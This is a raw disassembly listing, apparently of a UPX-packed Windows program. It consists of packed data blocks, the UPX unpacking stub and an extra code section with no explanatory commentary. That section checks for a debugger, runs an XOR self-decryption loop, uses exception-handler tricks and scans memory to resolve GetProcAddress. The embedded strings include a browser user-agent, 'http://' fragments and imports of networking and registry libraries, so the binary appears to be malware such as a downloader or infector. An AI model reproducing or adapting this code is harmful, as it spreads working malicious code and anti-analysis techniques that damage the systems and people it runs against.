		dd 0C41C8E47h, 0CC04C808h, 0F8D04DFCh, 2391C8E4h, 0F0D8F4D4h
		dd 85AEECDCh, 0E8E07239h, 487E4E4h, 8B66BDh, 0A36CD337h
		dd 0B978DADEh, 2FCB06Dh, 7309838Ch, 0EC8C3412h,	415C0376h
		dd 4A8D9085h, 0EB0CFF59h, 4D8D1AE8h, 0B40DE438h, 0C9391A5Ch
		dd 870BF07Ch, 0D4683974h, 37A8AB4Dh, 0B6326277h, 0C4064DCCh
		dd 843E0D6Dh, 9ABC4984h, 4E570465h, 2ADB3B72h, 0A341521h
		dd 276E16A2h, 41173E3Ah, 5F9A2842h, 7D21E014h, 0F818B4E8h
		dd 0EB9C1388h, 0C28242E3h, 5A159993h, 1B6095AFh, 63554703h
		dd 0DE7FA480h, 0AD11F0AAh, 0B458A51h, 32FF6A9Eh, 80C1EDDBh
		dd 0CC3A52C3h, 0DC5D3831h, 0F108FE3Ah, 0B5D8825h, 0FFD07D2h
		dd 5A0C35B7h, 0F80CFF59h, 0F7990F93h, 8ED603FEh, 0FB80C3FEh
		dd 2ED572FFh, 5EBDC65Bh, 5F7662BAh, 9813B264h, 68336F04h
		dd 56DA0958h, 81084F38h, 0C70D040Ah, 9DB59B0h, 80758F0Bh
		dd 609B492Dh, 5FF90F75h, 1E892C25h, 3D9DADE4h, 3FF8432h
		dd 0FB8143D7h, 0B50DBE71h, 5F9F9623h, 6BA65D87h, 7B4F3B16h
		dd 6DA25A73h, 0E6573C19h, 9973002Fh, 0FDBE78B7h, 0F6FEFF04h
		dd 61887F3Ch, 33FC6C5Bh, 88BF50Fh, 0AADCF33Bh, 0D8B3B276h
		dd 57A0A33Eh, 9C572F9Eh, 2259ED9h, 1359F8D6h, 256E25C3h
		dd 0B3BBFF0Eh, 0C3F2EE75h, 68E1AC8Eh, 0D3A62710h, 969ED3BEh
		dd 84C1C180h, 50A92D70h, 1052AD62h, 8FC2454Eh, 0BA6032F5h
		dd 0F2AA5C6Ah, 0E0F9DCDFh, 0BFC3A4Ch, 6468B003h, 372DD4Eh
		dd 11103B06h, 0D742BA27h, 6CE012F7h, 0B80C609h,	0B02B39DFh
		dd 556F0BB0h, 84579356h, 80CC78D8h, 5113E6D8h, 68661C4Dh
		dd 0FD1F0CA5h, 0D91462F4h, 538906EEh, 20BF661h,	838506Ah
		dd 0A05BFDAFh, 0D2052C5Dh, 18740096h, 73071109h, 1001478Dh
		dd 141905h, 9DD8513h, 1706D84Fh, 42BDAA0Eh, 74F081DBh
		dd 0C7D5530Dh, 0BE111051h, 392101E1h, 3A18244Ch, 7EED85EDh
		dd 0D876D811h, 264BA586h, 0EF144D2Ch, 6C192596h, 0EBA20577h
		dd 8B750DF2h, 65B8B076h, 68FADDEBh, 0C11B333Fh,	968160C8h
		dd 77D0150Ch, 6EA96236h, 90140810h, 2F874BA3h, 5618D951h
		dd 0D8D85CFCh, 0F61837B2h, 743D563Eh, 6311CE05h, 61412ADCh
		dd 0B74B2C9Ch, 102050D3h, 59030818h, 0AA0B62FCh, 8B550F5Eh
		dd 5ACEE1C6h, 2E33A257h, 56532C56h, 0C9901884h,	25270055h
		dd 5ACE5903h, 40C520Ah,	9262CF20h, 28AF5D0Ch, 89E2B701h
		dd 21DE53C3h, 948E694Eh
		dd 13F6F438h, 5C1E3C34h, 0F7794E36h, 43ADDE04h,	281D146Ch
		dd 687AA42Dh, 92C1EC35h, 0F4D85A2Dh, 22F40910h,	0CF203BD0h
		dd 0EEF8367Ah, 477D221Dh, 11E748Dh, 0F556FC7Bh,	4804C1FEh
		dd 0B5FF1C1Eh, 0B9B345E0h, 0FF452F20h, 8521F0Fh, 61C35760h
		dd 1C465033h, 3489BD76h, 0B733A074h, 57D6A93Ch,	0D91B1C8h
		dd 984FACB6h, 1C80D406h, 0D8E47239h, 0E06CDC74h, 9148E460h
		dd 0E88E4723h, 0F020EC3Ch, 1934D110h, 0B700F4CCh, 63BF0B84h
		dd 647CE261h, 8B7EF9BEh, 0A16451A2h, 0B4C43D18h, 0CBD83608h
		dd 0E177572h, 0A64D1D49h, 2A099E9Ah, 0BDA3833Eh, 8A460975h
		dd 7888E044h, 8C47F46Ah, 0B40974B0h, 6A885974h,	8BB38163h
		dd 84BCDE59h, 7A2F22A1h, 0E0833FC1h, 5C08303h, 86B9CD57h
		dd 0FD594A8Bh, 509D10CFh, 3D12186Eh, 1C3DD607h,	0E26EE66h
		dd 50E83F14h, 982CEF42h, 2040A261h, 4B7CCA41h, 0D7C63F68h
		dd 0CC59B306h, 1B41D986h, 0CFA125D3h, 0B801F454h, 9681E007h
		dd 9F8B0F40h, 3EC18817h, 481FC517h, 5FD14C7h, 25596D30h
		dd 0E0B3BA10h, 0BF501D6Ah, 86103DD8h, 51FC71F0h, 1537743Fh
		dd 31583A06h, 60A7BB0Ah, 0BEFD8A06h, 0F45352D1h, 7EE6BC3Dh
		dd 3D53D8B3h, 0FEBB138h, 0A0C1CE59h, 0B632BDB3h, 38DE1B68h
		dd 65E265B0h, 0C868C226h, 5B373B4Fh, 0BB46D1F6h, 971A0DB9h
		dd 41D60B35h, 4C125E12h, 7A4EC6F0h, 0C631EE4Ah,	0B6413BBBh
		dd 2CFD90CCh, 90B610B5h, 480718B7h, 6015EB0Ch, 2D1880E5h
		dd 0AF1909CDh, 5132BA1Eh, 44330C5Dh, 0EC5B3D50h, 6A7D6883h
		dd 0CC401113h, 0F42A66E7h, 2806FF00h, 0A910F805h, 0F49199EFh
		dd 51001BF0h, 8DF7DF9Bh, 723B8D1Ah, 0BE98114h, 0AD85042Dh
		dd 1B1FDBEh, 2BEC7317h,	0CC48BC8h, 88BE18Bh, 0B5B236EAh
		dd 4353A302h, 45055C64h, 58363605h, 0A2000049h,	0F1022C02h
		dd 8F34BF14h, 52240206h, 80314153h, 0B77FFFFFh,	0F501018Fh
		dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh
		dd 0FFFA9544h, 5E1AFFFFh, 85A03261h, 949F6A1Fh,	843994FFh
		dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 371FFFFFh
		dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h
		dd 3B656C62h, 0FFFD4D20h, 4953FB5Bh, 15362045h,	6E695709h
		dd 73776F64h, 20544E20h, 29312E35h, 0D40BBB3Dh,	8EE434h
		dd 0C40104D4h, 0CF3DF7B4h, 90A00EF3h, 68047480h, 3CF3CF0Eh
		dd 480958DFh, 30D4743Ch, 64D937CFh, 10222045h, 0ED00304Ah
		dd 0F83E437Fh, 76631340h, 75722E76h, 0BDB6367Eh, 70077B5h
		dd 976C6465h, 0C1660F65h, 0FF7B7FF2h, 61657365h, 0E686372h
		dd 626F721Fh, 6863786Fh, 0DB676E61h, 0D2B9BB7Fh, 0C74651Fh
		dd 622E6472h, 61007A69h, 85D86328h, 6B68E46Dh, 740C6D61h
		dd 24782D06h, 0B9BB6DB3h, 6F6C0600h, 6B37620Eh,	0BEF6FD47h
		dd 276266Dh, 76742E7Ah,	6F74111Bh, 856E2E70h, 178C2D80h
		dd 27730F69h, 80FF0B33h, 0F788D6Dh, 6C756461h, 4B652D74h
		dd 7EDB7669h, 338072B3h, 73A66E6Fh, 622E744Eh, 0DF0AC07Dh
		dd 67694F67h, 77780032h, 5B7FB361h, 626A2CFBh, 9B00AD62h
		dd 6166617Ah, 0F84887A8h, 655D2EB6h, 61AF5C23h,	0F6EDF862h
		dd 656463FFh, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h
		dd 0FFC67978h, 650E50DFh, 46454443h, 4A494847h,	4E4D4C4Bh
		dd 5451504Fh, 0FF68C3FFh, 57565554h, 1B5A5958h,	74746823h
		dd 2F2F3A70h, 3B9BF025h, 2F0B73B0h, 702E9765h, 7B3F7068h
		dd 0EB6FB7Eh, 73260F3Dh, 64066E63h, 666E6926h, 29073B76h
		dd 313D7DB7h, 74132639h, 58EBA01Bh, 60F6BBFBh, 3732313Dh
		dd 3A3101A8h, 2F303038h, 80FFDF65h, 0DFEC8Dh, 335DDFE8h
		dd 0EEB966C9h, 0FFDB6FFFh, 5758D01h, 68AFE8Bh, 4607993Ch
		dd 46302C06h, 7889934h,	0EBEDE247h, 0E8342FF7h,	7EDAE80Ah
		dd 2E6765DFh, 0C9999371h, 0DFFFEF01h, 0BDFD12FEh, 716FD91h
		dd 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F75BB1FFh
		dd 0F198F3C9h, 71028608h, 5F9010C0h, 599237CBh,	0F931C96h
		dd 3A78B3FBh, 7157E414h, 713A0A7Dh, 0BEFB9D45h,	0F19DF3EDh
		dd 0F1098904h, 40119C04h, 0FD8EEDB3h, 0E3F36723h, 0DC1C10F0h
		dd 6059B20Bh, 3D8FC99Bh, 125EFF6h, 0A10414D9h, 9E71CA17h
		dd 61688D2Bh, 964617B3h, 0E21AAD91h, 28111D96h,	0ED6F6D9Fh
		dd 0C850B2h, 57DC1499h,	4E122555h, 0DFECC0A4h, 1291EDDEh
		dd 0F7ED9949h, 0C4140054h, 71CBCA3Ah, 87B31C3Bh, 24FFFDDDh
		dd 0CF1A21E4h, 668FCDCDh, 0FBB6812Ch, 1E3F6C9Fh, 83B8B0FBh
		dd 5D12CDC3h, 1DCBC9A8h, 6F9DB27Fh, 0B24AD25h, 96A6485Ah
		dd 0C9FECBC0h, 4C1B1464h, 0F3EBA729h, 0D9FFBA9Ch, 16E9B3F7h
		dd 7126F434h, 0F90EFCF5h, 29EF133Bh, 6FFF6B46h,	5F37F776h
		dd 0EC4766DEh, 116A0A8h, 0EDFFC5B7h, 0FDE9ECE9h, 0EF610FBBh
		dd 2CE1FCB7h, 0FCF5CA01h, 0FCF25AFCh, 0FDBFFFE5h, 0F5FCF7EBh
		dd 0C7D6ABAAh, 59AAF934h, 2A2A25B4h, 93ACC966h,	0BEB78190h
		dd 90FF67F0h, 0C983639Dh, 309271CDh, 513519BFh,	0A95D914h
		dd 0FFFF9172h, 712AEC20h, 0A5D2EBC8h, 0E180D512h, 6FAA529Ah
		dd 9A2A8D14h, 46FEDFC8h, 8B12B9FBh, 0C3474A9Ah,	0DB9BAB9Eh
		dd 0EC20A319h, 0FFDDA26Ch, 0BDFFFDBFh, 0DF9EED85h, 0EB81E8A2h
		dd 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h, 0FF9A099Dh
		dd 5ACD0B09h, 0D096F810h, 7F664922h, 8712FEFDh,	0BB6F6EDBh
		dd 95C25AA9h, 82128502h, 0CB5A9104h, 0F9B9CFF7h, 857F4067h
		dd 424D53FFh, 0C8531872h, 9CFF4BFh, 62FEFFh, 83435002h
		dd 4F575445h, 0E35BED52h, 50204BFFh, 52474F52h,	31204D41h
		dd 414C17CDh, 52024D4Eh, 0A6290EBh, 0B71566ABh,	0B75BB696h
		dd 0BB676B03h, 330E7075h, 0B61F611Ah, 4D27EB74h, 21583223h
		dd 2E323232h, 66D35831h, 2018D62Ah, 5A8B323Ch, 0A433C8C9h
		dd 0EC1B0773h, 0C2285DBh, 40023FFh, 20140A11h, 8DDADE05h
		dd 69A0D41Ah, 534B4C00h, 4915053h, 97B7887Fh, 4AE00882h
		dd 0EDF81773h, 6E240057h, 6F006400h, 3A730075h,	5EDEC874h
		dd 901306Ch, 3500398Ch,	0DCC06C23h, 72E1D96h, 32ABDA00h
		dd 889CF20h, 3B57DA20h,	9F4C9383h, 46F20003h, 0C1901E23h
		dd 40074706h, 0D1060006h, 1046E7FFh, 8A151F01h,	48E088h
		dd 8144004Fh, 0FE1BFFFDh, 0F27A6A19h, 281C49E4h, 742530AFh
		dd 0E1536710h, 137C853Ch, 3075DF5Ch, 0AEBD0400h, 75CB6B9h
		dd 5C085ABDh, 72363761h, 72E4DD7h, 2E380036h, 3B1B3077h
		dd 496D899Bh, 0E843EC00h, 0F9633F00h, 640E7900h, 4DC08A2h
		dd 6DFF20F6h, 0FF1640h,	0E00DEDEh, 19F1600h, 9BF2602h
		dd 28401213h, 0C1110319h, 8B7DC346h, 0D374D96Ch, 0BBE42970h
		dd 9C2A9BACh, 0D81D256Bh, 109F6DB3h, 1B04480Eh,	5D6DCF54h
		dd 5A5413D7h, 22596326h, 83CBC75Ch, 45B9FF34h, 58765h
		dd 4810030Bh, 0C5FFFFB8h, 0EB810DEh, 286A050Bh,	0B10C3919h
		dd 0A89B11D0h, 7D4FC000h, 0D9EC7FE1h, 5D5FF52Eh, 1CEB8A88h
		dd 0E89F11C9h, 48102B3Ch, 0B22E7C60h, 0F40CD197h, 0CA060A3h
		dd 95E43C80h, 0CB10CA0h, 32393BFEh, 880CA000h, 90040h
		dd 847B03ECh, 7F927h, 4F401495h, 0BF40707Ch, 6C8A5ECh
		dd 13430700h, 88FFC279h, 138578h, 0E9A65BABh, 18F81013h
		dd 2FE409CFh, 230EFEFFh
		dd 0D45830C1h, 8408BE40h, 7DD3E488h, 10B943D2h,	0B801FFEEh
		dd 79366110h, 0AD200CF2h, 9F7F070Dh, 0FF215E5h,	700118D8h
		dd 0F900F84h, 0F842579h, 4D000F95h, 206FC9Eh, 6C0F847Fh
		dd 84AADE0Fh, 0A89A0087h, 93F436Fh, 1F13C88Ch, 50586E69h
		dd 0C0A6DB20h, 7250CAh,	39014446h, 3C844FC9h, 123C6B32h
		dd 7B027515h, 413C840Dh, 941C0053h, 1CAFFF01h, 0C606EB22h
		dd 73255C5Ch, 6370695Ch, 9BFFF975h, 0EC816624h,	0E4FF071Ch
		dd 44655300h, 67756265h, 0FA377669h, 67853518h,	6A6441A7h
		dd 6F546175h, 0EC99B6E4h, 176E656Bh, 126F4C73h,	0BF6D7075h
		dd 61569FDDh, 4165756Ch, 28704F17h, 7324636Fh, 8D48EA58h
		dd 76430034h, 65333F61h, 0E33152A3h, 0F86D4C79h, 0F5056D1Bh
		dd 545F1165h, 57796172h, 95D52DB5h, 31431735h, 52521A61h
		dd 682DBB9Dh, 6854056Fh, 7356140Ch, 0A35B6B75h,	284158DBh
		dd 0A578454Fh, 77336D67h, 47356E3Ah, 121EF3F5h,	48F46897h
		dd 7F505454h, 5732203Ch, 0FDEF52B5h, 0D4B4F20h,	9F4B010Ah
		dd 6ADF6644h, 4C2D02BBh, 3A2D6704h, 18752520h, 0CA587B5Ah
		dd 7954282Fh, 0A66D26B5h, 70A3DAB6h, 15836386h,	8EA9EE2Fh
		dd 2DC7025Ah, 42C97293h, 9F56B18Bh, 2B004757h, 0A35B47BAh
		dd 0E564F6F4h, 42CB73CBh, 6D8D57FBh, 0A9637673h, 0DA6977CBh
		dd 0F1538B77h, 175F3203h, 9A69E775h, 7B5E62Eh, 36373803h
		dd 0A6BB2774h, 331F3435h, 32033369h, 0D34B75F2h, 13393031h
		dd 0C8383F38h, 370D8320h, 20353607h, 34320C83h,	909A3233h
		dd 3031C83Ah, 0F93AF378h, 0CC95ACFFh, 4F53BBD9h, 41575446h
		dd 4D5C4552h, 62C1F869h, 6F736F7Bh, 5CBF5CD7h, 72727543h
		dd 6B61BC22h, 73DC5615h, 75525C0Ah, 85B79F6Eh, 74231716h
		dd 6824D26Fh, 0FF532030h, 1B6850A3h, 673BE3F7h,	7264736Eh
		dd 1D93706Ah, 652B79B6h, 51530002h, 6612D86h, 6C0E5F06h
		dd 5736264Dh, 5F664B68h, 60C14923h, 34421C28h, 68FF5455h
		dd 130BC037h, 5E432053h, 0D5762067h, 0FB95B7B3h, 8058763Bh
		dd 0C823B532h, 7C65B05Eh, 0FC471A1Bh, 23596E66h, 79931217h
		dd 36346B73h, 4200707Eh, 61BF2063h, 0B7B5B623h,	6D1B1358h
		dd 0DD975220h, 0B4B63772h, 0E0440300h, 2F660E20h, 0EE7B25B0h
		dd 2AAC6D67h, 5B632463h, 22BFDAE4h, 20797469h, 1E6E614Dh
		dd 0AC31B81Ah, 74201501h, 2A2AAE89h, 0FD92BBC4h, 0EC01388Ch
		dd 65657246h, 0DBF0060Ch, 470DF923h, 6F4D7465h,	978A5F87h
		dd 6B4665E2h, 686D614Eh, 74736C01h, 0C01AEF7Bh,	0A956372h
		dd 79706F43h, 70A40A19h, 45A1816Fh, 4E326578h, 7C52FFF6h
		dd 6C6F6F54h, 32337067h, 70616E53h, 746F6873h, 4DADDD19h
		dd 32129C8Ah, 540F7372h, 14AD7305h, 182C358Fh, 80FB05B6h
		dd 78654E21h, 41616974h, 215FFD54h, 0F76451Eh, 7469616Bh
		dd 53726F46h, 0B6F6BA21h, 4F7B673Ch, 2C766A62h,	0D9B9E144h
		dd 8D225AC3h, 3A0B6972h, 0BFBDEC97h, 486573C8h,	0C646E61h
		dd 0C25E2447h, 8B6C3BDh, 5A61D26Eh, 0B5CDB3F0h,	0A3449711h
		dd 14796456h, 0B6DF75BBh, 2B61984Ch, 6F666E49h,	6509530Fh
		dd 37800670h, 9C496218h, 64656B26h, 64D98845h, 6EB328B3h
		dd 92E7FB36h, 12E0D0CDh, 6464410Bh, 0F7B30F72h,	4C0B111Dh
		dd 61726269h, 0E68AB567h, 4D2B60DAh, 36137C82h,	0D5CB080Bh
		dd 0C363CF8Eh, 547B42DAh, 75888169h, 4915DE65h,	0E94D8AD8h
		dd 1BDA3478h, 0DD29B36h, 0F239C45Dh, 4F116610h,	78455A62h
		dd 0B3612DB6h, 630ADF31h, 9B9E6D13h, 522DC6E0h,	87B591Bh
		dd 1766C0E0h, 38657A86h, 0A3604CA7h, 451585B5h,	0D160C3FCh
		dd 33759F9Dh, 0A1673A2Bh, 4579654Bh, 0CE40EC3Bh, 0FC18610h
		dd 5EC00A51h, 11F65AC2h, 5987309Eh, 21E7426Ch, 841CE010h
		dd 0C517B76h, 0BE6E6241h, 0E2B6853h, 310428A5h,	1AC13F86h
		dd 3677D985h, 62BB1089h, 440A7DB6h, 720E6112h, 0D61B6669h
		dd 0CA79B63Ah, 2B758F67h, 616F6C36h, 6FCE436Fh,	6F112C79h
		dd 67702350h, 0E8F5210h, 38F63F90h, 4114B4D0h, 69757163h
		dd 74AE7072h, 35494DD8h, 0C3363AA0h, 0DE1359A7h, 0CA7273ECh
		dd 18B16D06h, 35B2D1CEh, 150F920Eh, 536B99DAh, 445F1D4Dh
		dd 740AC558h, 685F3FB8h, 3627F9F6h, 2CC46DBh, 4F727907h
		dd 880110E9h, 9160AD15h, 1CC2D22h, 271DCD34h, 61150E65h
		dd 14362CC2h, 0BBB4E70Ah, 4906EE15h, 70737766h,	4166B105h
		dd 9C62834Fh, 424F466h,	0DB616C5Ah, 9B558543h, 370E1141h
		dd 6705212Ch, 1B866B14h, 6E0306A6h, 74534349h, 8C950E81h
		dd 0D471A65h, 0A8EDB2CBh, 273FFA1h, 2C010D02h, 392CB2CBh
		dd 0C17346Fh, 0B2CB2CB2h, 10130409h, 4F45AA16h,	455036AAh
		dd 0E4FFB60Eh, 59C896B7h, 0E00040D8h, 0B010F00h, 260C0601h
		dd 68011CB2h, 2334DC12h, 0C6A32510h, 0B31420Eh,	0B7334A02h
		dd 0C079BA4h, 39341E60h, 10B0364Bh, 2D570607h, 6210805Dh
		dd 7C64098Ch, 0B0AE3145h, 6A2E1E01h, 0B60D8180h, 269024A6h
		dd 7C7B64C4h, 0E0049F90h, 0FBE1642Eh, 0D85BA114h, 272A0737h
		dd 48C016h, 81434BE0h, 54C32Fh,	2 dup(0)
		db 90h
		db 0FFh, 2 dup(0)
		align 10h
		pusha
		mov	esi, offset dword_31426000
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_31427BD2
; ---------------------------------------------------------------------------
		align 8


loc_31427BC8:				; CODE XREF: UPX1:loc_31427BD9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_31427BCE:				; CODE XREF: UPX1:31427C66j
					; UPX1:31427C7Dj
		add	ebx, ebx
		jnz	short loc_31427BD9


loc_31427BD2:				; CODE XREF: UPX1:31427BC0j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427BD9:				; CODE XREF: UPX1:31427BD0j
		jb	short loc_31427BC8
		mov	eax, 1


loc_31427BE0:				; CODE XREF: UPX1:31427BEFj
					; UPX1:31427BFAj
		add	ebx, ebx
		jnz	short loc_31427BEB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427BEB:				; CODE XREF: UPX1:31427BE2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_31427BE0
		jnz	short loc_31427BFC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427BE0


loc_31427BFC:				; CODE XREF: UPX1:31427BF1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_31427C10
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_31427C82
		mov	ebp, eax


loc_31427C10:				; CODE XREF: UPX1:31427C01j
		add	ebx, ebx
		jnz	short loc_31427C1B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C1B:				; CODE XREF: UPX1:31427C12j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_31427C28
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C28:				; CODE XREF: UPX1:31427C1Fj
		adc	ecx, ecx
		jnz	short loc_31427C4C
		inc	ecx


loc_31427C2D:				; CODE XREF: UPX1:31427C3Cj
					; UPX1:31427C47j
		add	ebx, ebx
		jnz	short loc_31427C38
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C38:				; CODE XREF: UPX1:31427C2Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_31427C2D
		jnz	short loc_31427C49
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427C2D


loc_31427C49:				; CODE XREF: UPX1:31427C3Ej
		add	ecx, 2


loc_31427C4C:				; CODE XREF: UPX1:31427C2Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_31427C6C


loc_31427C5D:				; CODE XREF: UPX1:31427C64j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_31427C5D
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------
		align 4


loc_31427C6C:				; CODE XREF: UPX1:31427C5Bj
					; UPX1:31427C79j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_31427C6C
		add	edi, ecx
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------


loc_31427C82:				; CODE XREF: UPX1:31427C0Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 7Eh


loc_31427C8A:				; CODE XREF: UPX1:31427C91j
					; UPX1:31427C96j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_31427C8F:				; CODE XREF: UPX1:31427CB4j
		cmp	al, 1
		ja	short loc_31427C8A
		cmp	byte ptr [edi],	1
		jnz	short loc_31427C8A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_31427C8F
		lea	edi, [esi+5000h]


loc_31427CBC:				; CODE XREF: UPX1:31427CDEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_31427D07
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+7000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+708Ch]
		xchg	eax, ebp


loc_31427CD9:				; CODE XREF: UPX1:31427CFFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_31427CBC
		mov	ecx, edi
		jns	short near ptr loc_31427CEA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_31427CEA:				; CODE XREF: UPX1:31427CE2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+7090h]
		or	eax, eax
		jz	short loc_31427D01
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_31427CD9
; ---------------------------------------------------------------------------


loc_31427D01:				; CODE XREF: UPX1:31427CF8j
		call	dword ptr [esi+7094h]


loc_31427D07:				; CODE XREF: UPX1:31427CC0j
		popa
		jmp	loc_31422334
; ---------------------------------------------------------------------------
		align 400h
UPX1		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 0001A000 ( 106496.)
; Section size in file		: 0001A000 ( 106496.)
; Offset to raw	data for section: 00008000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 31428000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 80C4h, 808Ch, 3 dup(0)
		dd 80D1h, 809Ch, 3 dup(0)
		dd 80DEh, 80A4h, 3 dup(0)
		dd 80E9h, 80ACh, 3 dup(0)
		dd 80F4h, 80B4h, 3 dup(0)
		dd 8100h, 80BCh, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 77C371D3h, 0
		dd 7E41A8ADh, 0
		dd 42C2C8A1h, 0
		dd 71AB9639h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h
		dd 646Eh, 72707377h, 66746E69h,	41h, 65746E49h,	74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)
; ---------------------------------------------------------------------------

		public start
start:
		push	0ED01C390h
		mov	eax, esp
		call	eax
		xchg	eax, ebx
		pop	ebx
		call	loc_31428269
		mov	esp, [esp+8]
		mov	eax, 4EBh	; CODE XREF: UPX2:31428219j
		jmp	short near ptr loc_31428214+1
; ---------------------------------------------------------------------------
		mov	eax, fs:18h
		mov	eax, [eax+30h]
		movzx	eax, byte ptr [eax+2]
		cmp	eax, 0
		jnz	short locret_31428268
		call	$+5
		pop	ebp
		sub	ebp, 402334h
		mov	eax, [ebp+40237Bh]
		add	eax, [ebp+402383h]
		mov	esi, eax
		mov	eax, [ebp+40237Fh]
		add	eax, [ebp+402383h]
		push	eax
		mov	edi, esi
		xor	ecx, ecx


loc_31428257:				; CODE XREF: UPX2:31428266j
		lodsb
		xor	al, [ebp+40238Bh]
		stosb
		inc	ecx
		cmp	ecx, [ebp+402387h]
		jl	short loc_31428257

locret_31428268:			; CODE XREF: UPX2:3142822Aj
		retn
; ---------------------------------------------------------------------------


loc_31428269:				; CODE XREF: UPX2:3142820Bp
		sub	eax, eax
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, 12345678h
		xchg	eax, [ebx]
		add	[eax+0], ah
		add	[eax+7Bh], dh
		add	[edx+31h], al
		add	[esi], bl
; ---------------------------------------------------------------------------
		dw 0
		dd 78h,	75Dh dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_3142A04C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_3142A041
		mov	ebx, [eax+2985h]
		jmp	short loc_3142A04A
; ---------------------------------------------------------------------------


loc_3142A041:				; CODE XREF: UPX2:3142A037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_3142A04A:				; CODE XREF: UPX2:3142A03Fj
		mov	ebx, [ebx]


loc_3142A04C:				; CODE XREF: UPX2:3142A01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 1E05h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 0F8h
		rep movsb
		call	sub_3142A125
		mov	ecx, eax
		call	sub_3142A125
		sub	eax, ecx
		jz	short loc_3142A0F7
		cmp	eax, 100h
		ja	short loc_3142A0F7
		and	ebx, 0FFFFF000h


loc_3142A08B:				; CODE XREF: UPX2:3142A09Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_3142A09C


loc_3142A094:				; CODE XREF: UPX2:3142A0A9j
		sub	ebx, 100h
		jnz	short loc_3142A08B


loc_3142A09C:				; CODE XREF: UPX2:3142A092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_3142A094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_3142A0B6:				; CODE XREF: UPX2:loc_3142A0CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_3142A0CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_3142A0CF


loc_3142A0CA:				; CODE XREF: UPX2:3142A0BFj
